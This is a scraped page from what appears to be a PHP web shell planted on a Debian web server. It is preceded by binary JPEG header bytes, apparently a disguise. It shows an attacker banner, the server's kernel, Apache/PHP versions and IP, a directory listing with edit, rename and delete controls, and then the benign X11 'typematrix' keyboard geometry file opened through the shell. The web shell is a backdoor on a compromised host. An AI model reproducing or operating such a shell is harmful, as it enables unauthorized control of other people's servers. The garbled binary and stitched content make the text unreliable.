JFIF       %%-))-969KKd       %%-))-969KKd! f%eK_.T  v_/n6q>e}&Cx@t7OuqySN%y%tz@ Un(quo{tS]\~LzǚPk;fϛϹ2y-=_z.NWW7DW@'4`3w3rr;hP8B%ַBe]`7Ҽo1e)弆O|4Wk*}7Su[9=U 9 |_+:@}@˵u@ g<4N<@=/ I(~}qq=y- u|. y'`3S+4$e= k4P]M^_Nou*R-,X0EI}m&LtVȱa|R\@ ʟ+YeIlY`XV^HV/c-eb du ̈́_2+DpV ` ^^->t7JydE]I 8:7#j̀iiVbp~o݃[}zwGF@-(RTJY@ Ty}X 1!2AQaq"3BR`r@PSb #4CTs0DU$EFcd?Lc4\K#E1$@CV8OƂZ5g;.141;%]6e laǃpv8)80D1ŌxLgWYc+z%:( w^PtdԣV Z:qDsh W) ͷ+~FO]"բ?eN 4)WREZ;T+}]:FRtI ѱއ>'s_[\qNhK ' ^qJv9 ]ʜ1FMzwF8ѯBIp-g`?si;|Hr%>jOh29-+-gQmBH?3P9e')>[k^OaxtLiS30ҿ6*o--I$ 1 z2+OЪ+i˺,_n3(~}StUMc \xSmGD0jMB06%') #1c6s/iaIɉgC%Yoi**MHЛ=rh ĭ總 E>Jў2+ct/^$[_kAOʕicR4qm#Lw!Squ/:e%~zMBfa|e7PUC|"/)CD\cy gڰF9(?\jU+>Cwl#>x^'a7C}LYX<@X`W8P hۂx͍q֜?de1qe* NDuTm-ߣ y+pUy*9aĺ:P4n$2&BTϵ@ a>v3uc,(uF0jˊ́a~32f2=ήZe[r!F !Bu)b FŌt%41N/֑41n1|> 1^;1=IĖEpq%"{/~M.QWDdUA6~z>kPh2Oi?Uc[`+l;՚':۾ږtoZjQ7\:Z3}~ &ڮRQH{mDq0TaM5i:5sC0x<]=Mp c!C<6]~vpxeH[AmY'iԖ_~ a(Ȕ@+a< w] wbk1#aD 9. ?p$ Qؒi-8S㨸f45t:ʙѾ.{mMshU1k\z^*#It@ v:%#iSZ.{.Vemm,Z3*;HtU8E.v'e ޴ 4WwLDe)jY*R'?wM֣ b+IfO('Y J$o޼ l.蕁~ Y Em>Y^m"r^4w}2PI7R1gV\wtVT׿w'*N{ZGN8qzrM/LO~ O~|ڞ櫮o{\dV斀AJmn E#HQg$!{XM'{u* 4O)>F.";l2z3IJ2?Fh7)rjrv@ AJlУ 0`StpGD&nƒpxΡ}P늿D@cEH҆2[9a}U/biEzu)xYR>߹q (yA~ُp \U\L\6~" U'>GJOP,ko:JGI*٢C8f8굟m#GV̐Cj]}N_]aJulE.+I&y5 6*TGHZRů}efjv"\3/3_hq՝g !ir,ܐv%~*lXccyo) 拏Qp_tT3!,Dur!CH7;9GQQmE:ÑCaƅ;zeij;d+% z#e%gdI9E5BB&۟S"=C(>{֠ ɫNUळiu>;P}حW]ouBmJS0ktRtDm+$ԫU_dq)$ ʃnLGSፑf'vlzP/_]QԂ]ȗ|W\;wTSf!m,ri{w了enP(`*.1i2.}e@;HA&_N᷸1|:Gjڒj~i/֬]1(N +^ bQq:›m*o5Y(.JPV[3ޭj֭j+i(uָ]kV)A/%X Fa?8'o>ꝣKks\_k)S%zDTRw#h#e#1Euk&,Yw+Ap"PIZ*j*Ug">m>|ڇ(#FXzCi9%J'H3Xwi-9s0S`R^֮ YLJz+q^i}i1jLK+ [ NzDSq[+Q'ݖl=s<[iIWz=%}[jɁ֠$$N7IUm83SVŭw)#0$g C26^ʓW<=B>{R)&繻8j3cbbce7TE1r\'}FūLO+KʢXm/=H 6FaRHI^Lȹ83g9CM93쑑nE)=q4I$s'ݠajm]"O>L4Vb;(eHm$֫ӆyYtYYr(<Ɠ2Fm "f֒;Tξu8jZR$b!E*9 yy+V:Dm Œ9@-f*l2#ٿPt#T҂ӵ&;AȃWlf xϜZكfj%bs ,/uN{,Gz*kkP M6f/0[I;S)ml-؉)~q9v`ǣ4gZJ}h&dﺥ#{}uDa7j(I'2OҒMF7 .Ey<$5;2ժTI %)TwG54Ŭ Kb6rG;uq\[8DJ'i$?Pq-ݗs\JGkYO2%}b\9;Tk⾜3%qSd( [O4i'jQՃ &F Ҧ T2!G{N j~:Cz J3|xd(6TZ a b5gfK\I)WYARA(RVE$G8at̖qWq{B:Q^g3QzcAZrH|GMcjb{+)r=>:de:¹[QOe@>ISP1nIq!:3G).!ŶB꠲#0Eb2"Lt4ƺKCGn9P=PeoX8@fղ Gi9k ^aHAV<)GG*k_aUΜWsX4ʷ\%m,W*F}<1E/&NJIʳ:PmeRuń%A<ᶧ2s^s-9$PHw]ZB#[>9Fm*>Ut.HugK9uaAF.%fW&J~$k^S:iގT9_5`_bR`ܒ(8Fa?jMc4Pŭ!VB7 W+߀ i>b٠,]?<{aXgpJ]璹نrV53-)p:,R%>#W۲4K{%L%]ͅP,7"[NI:ܴ- AJr)#"=k#Eoa PP$C>7m_t ڠcJZymA [qwDw|*3(FMۭ\KP-'1WK, suu;~ZaTnyi$A =46i֑AUU"l:gA ]"8&ד<{z&O!WF^XGhViWM\q(*p#Fk?p\Ym*J3B3'%jn+ IG{VcVL-f7 #/u}5bD7XMi!{#b$U]q\RGa ;OZXv^WZ\ܭ( lhSˎ6 V'h GY{49$r8AIȃ#V$HL/~l.]:>29:EkSO%N$Ϋkͯ⫝̸yˮ0mE+IVwuIu>Xj%6@[k)aqJz|؏!Υ֔RP.l@tⵅkZg'5nrqDU^kJBEBfrG)+J$"dB3#ٔk4yQCz9S\8'#/5cˑYO(4dhIM<6BߢJNDZFEgD6vnl|^kr;^hϨ1!ʌ:įZBᝋx|T+'!c t"YH=)"g6-t+.Ur$+ZzRG s*f9_QY4El>DI[}B=>v)iTg[?oWwۿlWG69k{Qx]-*$<-=W¹nUĂ}G4tZ]^Q8m!])SyR)vOR(_Aiϵei#{$hਧ.SLN}߬e}EgZwgAWPBcZÖ']P ;2/hy}1M9Fj'.ӖZy-,r ND|jlC)jqSʚV)]p3;❀[:tBH##HqhZr\j"tG-тtHtB24PJ:w;xI0$ wEQ#)FejK rSw|">Tҙ#2Xc8g,(L`S2 tM>5@<)A71iXSlHڛ9(y4KUu:xARdf5\Zq|m{ӭjI8%. ڟ5pxvqd(9P$#"8CQ NKFۘ;RTPE8^`WãRxL髍{}ġͭ緗Ҍ/<xcKOVy0\{Uk85A07)_uCuopN>~3e e޽ytYnDm3)ܠ&,![y3CcؽK+raޱX~aRbm<wE #+ԺQXfGq+h[71_A* [V٣sCEXb\fNiXNݔz NҲ wrG"+ kлYI`ϼUՄ o9Vc7^[Y"E]W>(GSkt]Gcx~hM`?WV8q w< `bJb̑ NNG[xr̈>Kþ7<7H56pIEKgoE`?4e)ޛ)7M(-4ot}LDG6"qycg~x{>8.,7W_ɦ/nG|MFU^VYpa",BBBH;GC#2JerK*ZIqbIphت݉)c繥ՅVtLnEcf62:;\Rw@{ S5Q $ϑTz;EzFO5Pn.NA<~ҌoXR|Ig$^]A|^_mmҷj8mbMbՅHmvI_MqƊFCq&Б%z>ΧKEAg4y;/0f[|@$SG,h5@0RȁцEH-qm%Kb%Dx:0XNHWIᰵ$G)|^ χ,m,#%6צIpO FDFUH5JKlI>Vxn;ĶY;dZkarnƭaeG< W#9+؄l?jEmDo<~W++0#π*<.ۘZ+H$VfF|J&#N ?*<<⢌՞\.#I: !#Sh-4'F |-[WQFH7 )d`JFCbFɞ9N9vՅW4xPOBHc2a"*90Iv5IGI<hI I*'Ƿ.-m1ȼѹKF2ٷ;*A*T6FDSKsipI tGx f$9 Ǐzf{kd@r:/?(i^b 3)_g;&IEWu̓*2t7qL Ti5, wdXr&Gwmŏy)IJD+iE:v6[=9ʰ;q` =}#q:<>~mFU631TqQ (t2/c~ iK'y˴TlxsF_$ {a8[yfc>Y͘k8&9x\Նڻ{I&7+ fv F=,ꌼcCA[c:麑î6B겦&|mFm㪈Rfw .xJês1?_UnuQGǪ?6wR5b-:q{wK  !1A2Qq"@PRa #03BCSbr4$T`c?K)o<rzѸUL<6K4F̘E¹?Q7 QZtʄSV9iE$m6vU>8_F!zaS# j_4Jzm_bȚ;/:Iq7A9Qڜp͖!QTaOSTQzqS5U{LHOWc;TWUA}YWqUNKURѾĴ:gfYnQ*dv?F6i1G6[H?W*!Wl 8OlE?U$jv<&Rا@TG"X޺51?Ikymc{TLʧA4Y+#a=[#j Ge;@֍Xًv_(uVgJjbէz;5$۱ʡ)zv|eS u̎b{ean<6\;CQ<@΍b{ZM%[*n,z{EZR++e`w޹bh9cWF2ǴU:RMWd架;UJcDtK_G@y5GāYzF 8cWb㖈qw4ecqMis,)',o=ߘq5e-0j.}xNGq?d;D5T Dbng2!zN%i`IJ4]JN Kv ./iLZFOii h=yn%wdԲ:d뉆2 ]|1jnvBV@XkxN_;J Kӯ$ΟVlXm x[0'id =qcamjdӚȹaE4rY26!۩PS#U v{-51~q<'x;Z *'Fg"pojg9l:5W媴txyyUU%`_58Mngv[+jz>XwbIt$]ɞ*{ &b^F=C4ЏZ+ F\pR]9c1b * @@K,\ϔ =0<9N{U^ozﺊ<˒D4p2 ,Ƿ˗:#]j*&*jFTܪTdF@x8׭CX2U&y({9b駴to90\DUaaƏ@J:tš#x]d0pUiJ!Џ_1Ke9s$\t%ZiW-]ZVp[!c8OڋGPmM 'ÈX$I"s)Ȍ[ڦT ׫wJsn$QӨ]dJ[;~ԕ$lŧt}7RU@&778ܷK "$4C^iQ􄆺h(Cg#P QҤ1 7~V=6~8:#7/N5qz=8ȂiEʀJpnx8.9@~1m3sE? :zqGY}:O#yw23$1%m}8`E毑s_PznQ[LF%D;S)י -YW < quTݪҒl>I£$qG,Ȑf=g + `~}m5dO+ipyOfv]ishu*8tx"4n7putfV]D`i=ZHWIwȩ<[.P\xӊF)jbKfzASi{*u#8 9p뚰 H@ff>,`2 L6b8 mw{Hn3|b3Fg1e6C<eH /_~B#L *t0xbS% 웞: Aɔ89hjd[OY墪9sŎzNZ:&Yiu%MGw=Y ]QӍ -u@'p[wK%suԘse^wbiɫ:f䲯4ֶCP JFE32 X;yVeAbFyyX%H ,vgb~Ksʊ&V φ 5f̅2K7ZVԎBLǑ=zv-yq,nȇ'(:8$(rH*!S RI.Lj"9\W>])|›\o?-tEs#678PI:e5n$i0ScudA F(ET lq{讬3 28xۆ1IPԲ v0r$0{[J*cyA 1OQ-3f5;׆!`;mV[g{*d$221VR8jk.aH)7c=BO>~ T77XӇʧ _NاVV:Gye)NKk Ǵ`ՏS=Wy\cu`}@8C2su XqC Պ̜xEU ڭ{$KόI@F؛NLOA$F[X2rĔG L\wE2J3S8IJ2e`A7),b +noĐ<{XA"Lj%W̮RI7=e0O {F 3t6ǽN7aNHmo!_5G/GGz`ǻwl${wzd2X,!a/@X{wh]S MARIJUANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux vps-ed8565de 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
  SOFT : Apache/2.4.65 (Debian) PHP : 7.4.33
/usr/share/X11/xkb/geometry/
51.178.36.14

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
digital_vndr dir drwxr-xr-x 2022-03-12 08:04 R D
sgi_vndr dir drwxr-xr-x 2022-03-12 08:04 R D
README 0.45 KB -rw-r--r-- 2020-02-29 11:32 R E G D
amiga 6.082 KB -rw-r--r-- 2020-02-29 11:32 R E G D
ataritt 5.64 KB -rw-r--r-- 2020-02-29 11:32 R E G D
chicony 4.434 KB -rw-r--r-- 2020-02-29 11:32 R E G D
dell 19.771 KB -rw-r--r-- 2020-02-29 11:32 R E G D
everex 3.749 KB -rw-r--r-- 2020-02-29 11:32 R E G D
fujitsu 7.599 KB -rw-r--r-- 2020-02-29 11:32 R E G D
hhk 5.329 KB -rw-r--r-- 2020-02-29 11:32 R E G D
hp 16.946 KB -rw-r--r-- 2020-02-29 11:32 R E G D
keytronic 6.348 KB -rw-r--r-- 2020-02-29 11:32 R E G D
kinesis 3.941 KB -rw-r--r-- 2020-02-29 11:32 R E G D
macintosh 40.093 KB -rw-r--r-- 2020-02-29 11:32 R E G D
microsoft 12.312 KB -rw-r--r-- 2020-02-29 11:32 R E G D
nec 4.055 KB -rw-r--r-- 2020-02-29 11:32 R E G D
nokia 1.234 KB -rw-r--r-- 2020-02-29 11:32 R E G D
northgate 3.923 KB -rw-r--r-- 2020-02-29 11:32 R E G D
pc 39.609 KB -rw-r--r-- 2020-02-29 11:32 R E G D
sanwa 5.74 KB -rw-r--r-- 2020-02-29 11:32 R E G D
sony 4.845 KB -rw-r--r-- 2020-02-29 11:32 R E G D
steelseries 8.088 KB -rw-r--r-- 2020-02-29 11:32 R E G D
sun 19.358 KB -rw-r--r-- 2020-02-29 11:32 R E G D
teck 9.5 KB -rw-r--r-- 2020-02-29 11:32 R E G D
thinkpad 11.851 KB -rw-r--r-- 2020-02-29 11:32 R E G D
typematrix 20.691 KB -rw-r--r-- 2020-02-29 11:32 R E G D
winbook 2.701 KB -rw-r--r-- 2020-02-29 11:32 R E G D
REQUEST EXIT
©TheAlmightyZeus
// -*- indent-tabs-mode: nil -*- // Created by Frédéric Boiteux // and Gildas Cotomale // Note : the special/multimedia keys (Calc, WWW, Desktop…) have a keycode // , found in definition file /usr/share/X11/xkb/keycodes/evdev. // Fn = ; // Calc = ; // WWW = ; // CycleWindows = ; // Mail = ; // PlayPause = ; // Desktop = ; xkb_geometry "tm2020" { description = "TypeMatrix EZ-Reach 2020"; // Keyboard total size : width = 308; height = 152; // Background / foreground colours baseColor = "white"; labelColor = "black"; // Key shapes: base key = 16 mm each side shape "NORM" { cornerRadius=1, { [16, 16] }, { [1, 1], [15, 15] }}; shape "ALPL" { cornerRadius=1, { [24.25, 16] }, { [1, 1], [23, 15] }}; shape "DHAL" { cornerRadius=1, { [24.25, 32.5] }, { [1, 1], [23, 31.5] }}; shape "FUNC" { cornerRadius=1, { [16, 12] }, { [2.5, 0], [13.5, 10] }}; shape "FUNL" { cornerRadius=1, { [24.25, 12] }, { [2.5, 0], [21.5, 10] }}; shape "SPCE" { cornerRadius=1, { [57, 26] }, { [2.5, 1], [54.5, 24] }}; shape "DBLA" { cornerRadius=1, { [32.5, 16] }, { [1, 1], [31, 15] }}; shape "LED" { cornerRadius=2, { [4, 4] }}; shape "DECO" { cornerRadius=1, { [3, 18] }}; section "Function" { left = 4; top = 24; key.gap = 0.5; key.color = "grey10"; key.shape = "FUNC"; row { keys { { , "FUNL" }, , , , , }; key.color = "grey20"; keys { { , "FUNL" } }; }; row { left = 150; key.color = "red"; keys { { , "FUNL" } }; key.color = "grey10"; keys { , , , , , , { , "FUNL" } }; }; }; section "Alpha" { left = 4; top = 36.5; key.gap = 0.5; key.color = "grey10"; key.shape = "NORM"; row { top = 0; keys { { , "ALPL" }, , , , , , { , "DHAL" } }; }; row { top = 16.5; keys { { , "ALPL" }, , , , , }; }; row { top = 33; keys { { , "DHAL" }, , , , , , { , "DHAL" } }; }; row { top = 49.5; left = 24.5; keys { , , , , }; }; row { top = 0; left = 150; keys { { , "DHAL" }, , , }; key.color = "grey20"; keys { , , , { , "ALPL" } }; }; row { top = 16.5; left = 174.5; keys { , , }; key.color = "grey20"; keys { , , , { , "ALPL" } }; }; row { top = 33; left = 150; keys { { , "DHAL" }, , , }; key.color = "grey20"; keys { , , , { , "DHAL" } }; }; row { top = 49.5; left = 174.5; keys { , , }; key.color = "grey20"; keys { , , }; }; }; section "Control" { left = 4; top = 102.5; key.gap = 0.5; key.color = "grey10"; key.shape = "ALPL"; row { top = 0; keys { , , }; keys { { , "SPCE"} }; }; row { top = 16.5; keys { , , }; }; row { top = 0; left = 150; key.shape = "NORM"; keys { { , "SPCE"}, }; key.color = "grey20"; keys { , , , { , "DHAL" } }; }; row { top = 16.5; left = 207.5; key.shape = "NORM"; key.color = "grey20"; keys { { , "DBLA" }, , }; }; }; // Leds indicator.top = 12; indicator.onColor = "green"; indicator.offColor = "grey10"; indicator.shape = "LED"; indicator "Num Lock" { left = 252; }; indicator "Caps Lock" { left = 266; }; indicator "Misc" { left = 280; }; text.top= 5; text.color= "black"; text "NumLockLabel" { left= 252; text="1"; }; text "CapsLockLabel" { left= 266; text="A"; }; text "MiscLabel" { left= 280; text="D"; }; text "Logo" { left = 29; top = 10; text="TypeMatrix™"; }; // Other decorations: drawings solid "rainure1" { shape = "DECO"; top = 1; left = 110; color = "grey10";}; solid "rainure2" { shape = "DECO"; top = 1; left = 115; color = "grey10";}; solid "rainure3" { shape = "DECO"; top = 1; left = 120; color = "grey10";}; solid "rainure4" { shape = "DECO"; top = 1; left = 125; color = "grey10";}; solid "rainure5" { shape = "DECO"; top = 1; left = 130; color = "grey10";}; solid "rainure6" { shape = "DECO"; top = 1; left = 135; color = "grey10";}; solid "rainure7" { shape = "DECO"; top = 1; left = 140; color = "grey10";}; solid "rainure8" { shape = "DECO"; top = 1; left = 145; color = "grey10";}; solid "rainure9" { shape = "DECO"; top = 1; left = 150; color = "grey10";}; solid "rainure10" { shape = "DECO"; top = 1; left = 155; color = "grey10";}; solid "rainure11" { shape = "DECO"; top = 1; left = 160; color = "grey10";}; solid "rainure12" { shape = "DECO"; top = 1; left = 165; color = "grey10";}; solid "rainure13" { shape = "DECO"; top = 1; left = 170; color = "grey10";}; }; // geometry tm2020 xkb_geometry "tm2030_shape" { // Keyboard total size width = 320; height = 130; // Background / foreground colours baseColor = "white"; labelColor = "black"; // Key shapes: base key = 20 mm each side shape "NORM" { cornerRadius=1, { [18, 18] }, { [1.5, 1.5], [16.5, 14] } }; shape "FUNC" { cornerRadius=1, { [18, 12] }, { [2.5, 0], [15.5, 10] } }; shape "LFSH" { cornerRadius=1, { [18, 36.5] }, { [2.5, 0], [15.5, 30] } }; shape "ALT1" { cornerRadius=1, { [27.5, 18] }, { [2.5, 0], [23.5, 14] } }; shape "BKSP" { cornerRadius=1, { [18, 30.5] }, { [1.5, 1.5], [16.5, 29] } }; shape "SPCE" { cornerRadius=1, { [92, 25] }, { [1.5, 1.5], [90.5, 22] } }; shape "LED" { cornerRadius=2, { [4, 4] } }; shape "PAN1" { cornerRadius=1, { [27, 126.5] } }; shape "PAN2" { cornerRadius=1, { [92, 13] } }; // Other decorations: panels solid "panneau1" { shape = "PAN1"; left = 0; top = 0; color = "grey40"; }; solid "panneau2" { shape = "PAN2"; left = 101.5; top = 113.5; color = "grey40"; }; // Leds: they must be put after panels, otherwise the panels overwrite them indicator.left = 6; indicator.onColor = "green"; indicator.offColor = "grey10"; indicator.shape = "LED"; indicator "Num Lock" { top = 11 ; }; indicator "Caps Lock" { top = 27.5; }; indicator "Scroll Lock" { top = 44 ; }; text.left = 12; text.color = "black"; text "NumLockLabel" { top = 11; text="num"; }; text "CapsLockLabel" { top = 27.5; text="caps"; }; text "SrollLockLabel" { top = 44; text="scroll"; }; }; // geometry tm2030_shape xkb_geometry "tm2030_MiscDiod_dvk" { text "ModeLabel" { left = 12; top = 58; color = "black"; text="Dvorak"; }; }; xkb_geometry "tm2030_MiscDiod_102" { text "ModeLabel" { left = 12; top = 58; color = "black"; text="102"; }; }; xkb_geometry "tm2030_MiscDiod_106" { text "ModeLabel" { left = 12; top = 58; color = "black"; text="106"; }; }; xkb_geometry "tm2030_MiscDiod_off" { indicator "Misc" { left = 6; top = 60.5; shape = "LED"; offColor = "grey10"; onColor = "grey10"; }; }; xkb_geometry "tm2030_MiscDiod_on" { indicator "Misc" { left = 6; top = 60.5; shape = "LED"; offColor = "green"; onColor = "green"; }; }; xkb_geometry "tm2030USB_func" { section "Function" { left = 27; top = 1.5; key.gap = 0.5; key.color = "grey30"; key.shape = "FUNC"; row { keys { , , , , , }; }; row { left = 129.5; keys { , , , , , , , }; }; }; }; // geometry tm2030USB_func xkb_geometry "tm2030USB_alpha" { section "Alpha" { left = 27; top = 14; key.gap = 0.5; key.color = "grey10"; key.shape = "NORM"; row { top = 0; keys { , , , , , }; }; row { top = 18.5; keys { , , , , , }; }; row { top = 37; keys { { , "LFSH" }, , , , , }; }; row { top = 55.5; left = 18.5; keys { , , , , }; }; row { top = 0; left = 129.5; keys { , , , , , , , }; }; row { top = 18.5; left = 129.5; keys { , , , , , , , }; }; row { top = 37; left = 129.5; keys { , , , , , , { , "LFSH" }, }; }; row { top = 55.5; left = 129.5; keys { , , , , , }; }; row { top = 55.5; left = 259; keys { }; }; row { top = 74; left = 74; keys { { , "SPCE" } }; }; }; }; // geometry tm2030USB_alpha xkb_geometry "tm2030USB_ctrl" { section "Control" { left = 27; top = 0; key.gap = 0.5; key.color = "grey30"; key.shape = "NORM"; row { top = 88; keys { , , , }; }; row { top = 106.5; keys { , { , "ALT1" }, { , "ALT1" } }; }; row { top = 88; left = 166.5; keys { , , , , { , "LFSH"}, }; }; row { top = 106.5; left = 166.5; keys { , , , }; }; row { top = 106.5; left = 259; keys { }; }; row { top = 1; left = 111.5; vertical = true; keys { , { , "BKSP" }, { , "LFSH" } }; }; }; }; // geometry tm2030USB_ctrl xkb_geometry "tm2030PS2" { include "typematrix(tm2030_shape)" include "typematrix(tm2030_MiscDiod_dvk)" include "typematrix(tm2030_MiscDiod_off)" description = "TypeMatrix EZ-Reach 2030 PS2"; section "Function" { left = 27; top = 1.5; key.gap = 0.5; key.color = "grey10"; key.shape = "FUNC"; row { key.color = "grey30"; keys { }; }; row { left = 18.5; keys { , , , }; }; row { left = 92.5; key.color = "grey30"; keys { }; }; row { left = 129.5; key.color = "grey30"; keys { , , }; }; row { left = 185; keys { , , , }; }; row { left = 259; key.color = "grey30"; keys { }; }; }; section "Alpha" { left = 27; top = 14; key.gap = 0.5; key.color = "grey10"; key.shape = "NORM"; row { top = 0; keys { , , , , , }; }; row { top = 18.5; keys { , , , , , }; }; row { top = 37; keys { { , "LFSH" }, , , , , }; }; row { top = 55.5; left = 18.5; keys { , , , , }; }; row { top = 0; left = 129.5; keys { , , , , , , , }; }; row { top = 18.5; left = 129.5; keys { , , }; }; row { top = 18.5; left = 185; key.color = "grey30"; keys { , , , }; }; row { top = 18.5; left = 259; keys { }; }; row { top = 37; left = 129.5; keys { , , }; }; row { top = 37; left = 185; key.color = "grey30"; keys { , , , { , "LFSH" }, {, key.color="red"} }; }; row { top = 55.5; left = 129.5; keys { , , }; }; row { top = 55.5; left = 185; key.color = "grey30"; keys { , , }; }; row { top = 55.5; left = 259; keys { }; }; row { top = 74; left = 74; keys { { , "SPCE" } }; }; }; section "Control" { left = 27; top = 0; key.gap = 0.5; key.color = "grey10"; key.shape = "NORM"; row { top = 88; keys { , , , }; }; row { top = 106.5; keys { , { , "ALT1" }, { , "ALT1" } }; }; row { top = 88; left = 166.5; keys { }; }; row { top = 88; left = 185; key.color = "grey30"; keys { , , , { , "LFSH"} }; }; row { top = 88; left = 259; keys { }; }; row { top = 106.5; left = 166.5; keys { }; }; row { top = 106.5; left = 185; key.color = "grey30"; keys { , , }; }; row { top = 106.5; left = 259; keys { }; }; row { top = 1; left = 111.5; key.color = "grey10"; vertical = true; keys { , { , "BKSP" }, { , "LFSH" } }; }; }; }; // geometry tm2030PS2 xkb_geometry "tm2030USB" { include "typematrix(tm2030_shape)" include "typematrix(tm2030_MiscDiod_102)" include "typematrix(tm2030_MiscDiod_off)" description = "TypeMatrix EZ-Reach 2030 USB"; include "typematrix(tm2030USB_func)" include "typematrix(tm2030USB_alpha)" include "typematrix(tm2030USB_ctrl)" }; // geometry tm2030USB // European 102/105 keys mode. // Same as the standard keyboard, except for one key: Play becomes LSGT. xkb_geometry "tm2030USB-102" { include "typematrix(tm2030_shape)" include "typematrix(tm2030_MiscDiod_102)" include "typematrix(tm2030_MiscDiod_on)" description = "TypeMatrix EZ-Reach 2030 USB (102/105:EU mode)"; include "typematrix(tm2030USB_func)" include "typematrix(tm2030USB_alpha)" section "Control" { left = 27; top = 0; key.gap = 0.5; key.color = "grey30"; key.shape = "NORM"; row { top = 88; keys { , , , }; }; row { top = 106.5; keys { , { , "ALT1" }, { , "ALT1" } }; }; row { top = 88; left = 166.5; keys { , , , , { , "LFSH"}, }; }; row { top = 106.5; left = 166.5; keys { , , , }; }; row { top = 106.5; left = 259; keys { }; }; row { top = 1; left = 111.5; vertical = true; keys { , { , "BKSP" }, { , "LFSH" } }; }; }; }; // geometry tm2030USB-102 // Japan / Korean 106 keys mode. // Same as the standard keyboard, except for the following keys: // – is replaced by // – WWW key becomes // — Calc key becomes // — key becomes // — and Mail key becomes // About control keys: // NFER/MEHU and XFER/KANJ: TMx keeps LWIN (and RWIN if it happens to exist). // HKTG/HIRA: TMx keeps MENU/COMP, but locates this key in alpha section (see above). xkb_geometry "tm2030USB-106" { include "typematrix(tm2030_shape)" include "typematrix(tm2030_MiscDiod_106)" include "typematrix(tm2030_MiscDiod_on)" description = "TypeMatrix EZ-Reach 2030 USB (106:JP mode)"; include "typematrix(tm2030USB_func)" section "Alpha" { left = 27; top = 14; key.gap = 0.5; key.color = "grey10"; key.shape = "NORM"; row { top = 0; keys { , , , , , }; }; row { top = 18.5; keys { , , , , , }; }; row { top = 37; keys { { , "LFSH" }, , , , , }; }; row { top = 55.5; left = 18.5; keys { , , , , }; }; row { top = 0; left = 129.5; keys { , , , , , , , }; }; row { top = 18.5; left = 129.5; keys { , , , , , , , }; }; row { top = 37; left = 129.5; keys { , , , , , , { , "LFSH" }, }; }; row { top = 55.5; left = 129.5; keys { , , , , , }; }; row { top = 55.5; left = 259; keys { }; }; row { top = 74; left = 74; keys { { , "SPCE" } }; }; }; section "Control" { left = 27; top = 0; key.gap = 0.5; key.color = "grey30"; key.shape = "NORM"; row { top = 88; keys { , , , }; }; row { top = 106.5; keys { , { , "ALT1" }, { , "ALT1" } }; }; row { top = 88; left = 166.5; keys { , , , , { , "LFSH"}, }; }; row { top = 106.5; left = 166.5; keys { , , , }; }; row { top = 106.5; left = 259; keys { }; }; row { top = 1; left = 111.5; vertical = true; keys { , { , "BKSP" }, { , "LFSH" } }; }; }; }; // geometry tm2030USB-106